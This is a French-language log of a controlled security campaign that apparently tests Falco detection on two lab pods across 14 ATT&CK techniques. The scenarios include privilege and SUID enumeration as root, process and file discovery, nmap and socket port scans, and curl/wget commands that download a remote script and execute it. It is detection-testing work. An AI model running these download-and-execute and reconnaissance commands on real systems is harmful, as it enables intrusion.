========================================== SCÉNARIOS CONTRÔLÉS DE SÉCURITÉ ========================================== Pod cible : cible1 Service pair : cible2 Début : 2026-11-09T06:11:11.426Z ------------------------------------------ [1/14] T1082 ------------------------------------------ Scénario : Découverte des répertoires accessibles en écriture et des permissions Commande : find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe /tmp /var/tmp /dev/shm drwxrwxrwt root:root /tmp drwxrwxrwt root:root /var/tmp drwxrwxrwt root:root /dev/shm Résultat : EXECUTED Routage : PB1 / falco-route-s01 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:11:11.510Z Fin : 2026-11-09T06:11:17.945Z ------------------------------------------ [2/14] T1082 ------------------------------------------ Scénario : Énumération des privilèges et de l’hôte Commande : uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi Linux cible1 7.0.0-1014-aws #14~24.04.1-Ubuntu SMP PREEMPT Fri Sep 18 21:24:59 UTC 2026 x86_64 GNU/Linux PRETTY_NAME="Debian GNU/Linux 13 (trixie)" NAME="Debian GNU/Linux" VERSION_ID="13" VERSION="13 (trixie)" VERSION_CODENAME=trixie DEBIAN_VERSION_FULL=13.7 ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/" uid=0(root) gid=0(root) groups=0(root) 1058009 56 -rwsr-xr-x 1 root root 55688 Jul 31 15:34 /usr/bin/umount 1057933 116 -rwsr-xr-x 1 root root 118168 Apr 19 2025 /usr/bin/passwd 1057809 72 -rwsr-xr-x 1 root root 70888 Apr 19 2025 /usr/bin/chfn 1057922 20 -rwsr-xr-x 1 root root 18816 Jul 31 15:34 /usr/bin/newgrp 1057917 72 -rwsr-xr-x 1 root root 72072 Jul 31 15:34 /usr/bin/mount 1057815 52 -rwsr-xr-x 1 root root 52936 Apr 19 2025 /usr/bin/chsh 1057873 88 -rwsr-xr-x 1 root root 88568 Apr 19 2025 /usr/bin/gpasswd 1057859 32 -rwxr-sr-x 1 root shadow 31256 Apr 19 2025 /usr/bin/expiry 1057807 112 -rwxr-sr-x 1 root shadow 113848 Apr 19 2025 /usr/bin/chage 1057985 84 -rwsr-xr-x 1 root root 84360 Jul 31 15:34 /usr/bin/su 1059337 44 -rwxr-sr-x 1 root shadow 43256 Jun 29 2025 /usr/sbin/unix_chkpwd Résultat : EXECUTED Routage : PB1 / falco-route-s02 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:11:18.060Z Fin : 2026-11-09T06:11:24.779Z ------------------------------------------ [3/14] T1057 ------------------------------------------ Scénario : Découverte des processus utilisateur et des lignes de commande Commande : ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 root 1 0.0 0.1 14976 9148 ? Ss 05:50 0:00 nginx: master process nginx -g daemon off; root 773 0.0 0.0 2680 1904 ? Ss 06:11 0:00 sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 root 779 0.0 0.0 6400 3876 ? R 06:11 0:00 ps aux root 780 0.0 0.0 3508 1952 ? S 06:11 0:00 grep root root 781 0.0 0.0 2596 1708 ? S 06:11 0:00 head -20 PID PPID USER COMMAND COMMAND 1 0 root nginx nginx: master process nginx -g daemon off; 36 1 nginx nginx nginx: worker process 37 1 nginx nginx nginx: worker process 773 0 root sh sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 782 773 root ps ps -eo pid,ppid,user,comm,args --sort=pid 783 773 root head head -30 Résultat : EXECUTED Routage : PB1 / falco-route-s03 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:11:24.878Z Fin : 2026-11-09T06:11:31.516Z ------------------------------------------ [4/14] T1057 ------------------------------------------ Scénario : Découverte détaillée des processus système Commande : ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 14976 9148 ? Ss 05:50 0:00 nginx: master process nginx -g daemon off; nginx 36 0.0 0.0 15452 4528 ? S 05:50 0:00 nginx: worker process nginx 37 0.0 0.0 15452 4528 ? S 05:50 0:00 nginx: worker process root 784 0.0 0.0 2680 1876 ? Ss 06:11 0:00 sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 root 791 0.0 0.0 6400 3824 ? R 06:11 0:00 ps aux UID PID PPID C STIME TTY TIME CMD root 1 0 0 05:50 ? 00:00:00 nginx: master process nginx -g daemon off; nginx 36 1 0 05:50 ? 00:00:00 nginx: worker process nginx 37 1 0 05:50 ? 00:00:00 nginx: worker process root 784 0 0 06:11 ? 00:00:00 sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 root 792 784 0 06:11 ? 00:00:00 ps -ef root 793 784 0 06:11 ? 00:00:00 head -40 PID PPID USER STAT COMMAND 1 0 root Ss nginx 36 1 nginx S nginx 37 1 nginx S nginx 784 0 root Ss sh 794 784 root R ps 795 784 root S head Résultat : EXECUTED Routage : PB1 / falco-route-s04 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:11:31.609Z Fin : 2026-11-09T06:11:38.169Z ------------------------------------------ [5/14] T1057 ------------------------------------------ Scénario : Énumération des processus et de procfs Commande : ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30 PID TTY TIME CMD 1 ? 00:00:00 nginx 796 ? 00:00:00 sh 802 ? 00:00:00 ps /proc/1 /proc/36 /proc/37 /proc/796 /proc/803 nginx: master process nginx -g daemon off; nginx: worker process nginx: worker process sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2 sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2 head -30 Résultat : EXECUTED Routage : PB1 / falco-route-s05 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:11:38.264Z Fin : 2026-11-09T06:11:44.702Z ------------------------------------------ [6/14] T1057 ------------------------------------------ Scénario : Découverte de la virtualisation et des processus de conteneur Commande : ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true root 819 0.0 0.0 2680 1944 ? Ss 06:11 0:00 sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true root 826 0.0 0.0 3644 1796 ? S 06:11 0:00 grep -Ei qemu|vmware|virtualbox|hyperv|containerd|kube|docker 0::/ Résultat : EXECUTED Routage : PB1 / falco-route-s06 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:11:44.794Z Fin : 2026-11-09T06:11:51.325Z ------------------------------------------ [7/14] T1083 ------------------------------------------ Scénario : Énumération récursive des répertoires et des fichiers Commande : ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 /etc/update-motd.d/10-uname /etc/security/faillock.conf /etc/security/group.conf /etc/security/opasswd /etc/security/namespace.init /etc/security/pam_env.conf /etc/security/access.conf /etc/security/namespace.conf /etc/security/time.conf /etc/security/sepermit.conf /etc/security/pwhistory.conf /etc/security/limits.conf /etc/fstab /etc/passwd- /etc/ld.so.conf /etc/selinux/semanage.conf /etc/passwd /etc/xattr.conf /etc/issue.net /etc/shells /etc/gshadow /etc/debconf.conf /etc/group- /etc/pam.d/common-session-noninteractive /etc/pam.d/runuser-l /etc/pam.d/other /etc/pam.d/common-auth /etc/pam.d/passwd /etc/pam.d/common-account /etc/pam.d/chfn /etc/pam.d/common-session /etc/pam.d/common-password /etc/pam.d/login /etc/pam.d/chsh /etc/pam.d/runuser /etc/pam.d/su /etc/pam.d/su-l /etc/pam.d/newusers /etc/pam.d/chpasswd /etc/logrotate.d/dpkg /etc/logrotate.d/alternatives /etc/logrotate.d/apt /etc/logrotate.d/nginx /etc/terminfo/README /etc/gai.conf /etc/issue /etc/hostname /etc/debian_version /etc/nsswitch.conf /etc/bindresvport.blacklist /etc/dpkg/dpkg.cfg /etc/profile /etc/motd /etc/subuid /etc/alternatives/README /etc/libaudit.conf /etc/group /etc/host.conf /etc/environment /etc/resolv.conf Résultat : EXECUTED Routage : PB1 / falco-route-s07 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:11:51.426Z Fin : 2026-11-09T06:11:57.812Z ------------------------------------------ [8/14] T1083 ------------------------------------------ Scénario : Recherche de fichiers nommés et inspection des métadonnées Commande : mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery /tmp/manual-discovery/manual-note.txt /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf Résultat : EXECUTED Routage : PB1 / falco-route-s08 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:11:57.905Z Fin : 2026-11-09T06:12:04.328Z ------------------------------------------ [9/14] T1083 ------------------------------------------ Scénario : Parcours et inspection du répertoire de travail Commande : pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null / /tmp total 8 drwxrwxrwt 1 root root 4096 Nov 9 06:11 . drwxr-xr-x 1 root root 4096 Nov 9 05:50 .. File: /tmp Size: 4096 Blocks: 8 IO Block: 4096 directory Device: 0,214 Inode: 1057786 Links: 1 Access: (1777/drwxrwxrwt) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2026-11-09 06:12:04.554260605 +0000 Modify: 2026-11-09 06:11:58.093227983 +0000 Change: 2026-11-09 06:11:58.093227983 +0000 Birth: 2026-11-09 05:50:24.667149065 +0000 Résultat : EXECUTED Routage : PB1 / falco-route-s09 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:12:04.414Z Fin : 2026-11-09T06:12:10.802Z ------------------------------------------ [10/14] T1046 ------------------------------------------ Scénario : Identification des services réseau Commande : nmap -Pn -sV --version-light -p 80,443,8080 cible2 Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-09 06:12 UTC Nmap scan report for cible2 (10.96.100.247) Host is up (0.000061s latency). rDNS record for 10.96.100.247: cible2.default.svc.cluster.local PORT STATE SERVICE VERSION 80/tcp open http nginx 1.31.8 443/tcp filtered https 8080/tcp filtered http-proxy Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.53 seconds Résultat : EXECUTED Routage : PB1 / falco-route-s10 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:12:10.895Z Fin : 2026-11-09T06:12:24.834Z ------------------------------------------ [11/14] T1046 ------------------------------------------ Scénario : Découverte de services TCP sur plusieurs ports Commande : python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]" probe 80 result 80 0 probe 443 result 443 114 probe 8080 result 8080 114 Résultat : EXECUTED Routage : PB1 / falco-route-s11 = YES Admin : incident Discord = SKIPPED (LOW) Début : 2026-11-09T06:12:24.966Z Fin : 2026-11-09T06:12:33.458Z ------------------------------------------ [12/14] T1105 ------------------------------------------ Scénario : Transfert, inspection et exécution d’un outil avec curl Commande : curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh 4e7cd97b1b57424343256309741880403450c5007254d6e5e3f87a809f1fc16a /tmp/manual-curl-tool.sh -rwxr-xr-x 1 root root 72 Nov 9 06:12 /tmp/manual-curl-tool.sh manual-transfer-test Résultat : EXECUTED Routage : PB2 / falco-route-s12 = YES Admin : incident Discord = SKIPPED (HIGH) Début : 2026-11-09T06:12:33.551Z Fin : 2026-11-09T06:12:39.981Z ------------------------------------------ [13/14] T1105 ------------------------------------------ Scénario : Transfert, préparation et exécution d’un outil avec wget Commande : wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh 4e7cd97b1b57424343256309741880403450c5007254d6e5e3f87a809f1fc16a /tmp/.manual-wget-tool.sh manual-transfer-test Résultat : EXECUTED Routage : PB2 / falco-route-s13 = YES Admin : incident Discord = SKIPPED (HIGH) Début : 2026-11-09T06:12:40.099Z Fin : 2026-11-09T06:12:46.594Z ------------------------------------------ [14/14] T1059.004 ------------------------------------------ Scénario : Préparation et exécution d’un script shell Commande : printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh uid=0(root) gid=0(root) groups=0(root) Linux cible1 7.0.0-1014-aws #14~24.04.1-Ubuntu SMP PREEMPT Fri Sep 18 21:24:59 UTC 2026 x86_64 GNU/Linux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 14976 9148 ? Ss 05:50 0:00 nginx: master process nginx -g daemon off; nginx 36 0.0 0.0 15452 4528 ? S 05:50 0:00 nginx: worker process nginx 37 0.0 0.0 15452 4528 ? S 05:50 0:00 nginx: worker process root 905 0.0 0.0 2680 1956 ? Ss 06:12 0:00 sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh root 912 0.0 0.0 2680 1864 ? S 06:12 0:00 /bin/sh /tmp/manual-shell.sh root 915 0.0 0.0 6400 3876 ? R 06:12 0:00 ps aux root 916 0.0 0.0 2596 1596 ? S 06:12 0:00 head -10 total 12 drwxrwxrwt 1 root root 4096 Nov 9 06:12 . drwxr-xr-x 1 root root 4096 Nov 9 05:50 .. -rwxr-xr-x 1 root root 63 Nov 9 06:12 manual-shell.sh Résultat : EXECUTED Routage : PB3 / falco-route-s14 = YES Admin : incident Discord = SKIPPED (URGENT) Début : 2026-11-09T06:12:46.682Z Fin : 2026-11-09T06:12:53.111Z ========================================== SOMMAIRE DE LA CAMPAGNE CONTRÔLÉE ========================================== Scénarios sélectionnés : 14 Exécutés : 14 Échoués : 0 Résultats : experimentation/resultats/artefacts/bruts/manual-results.tsv ✅ Campagne contrôlée de sécurité terminée.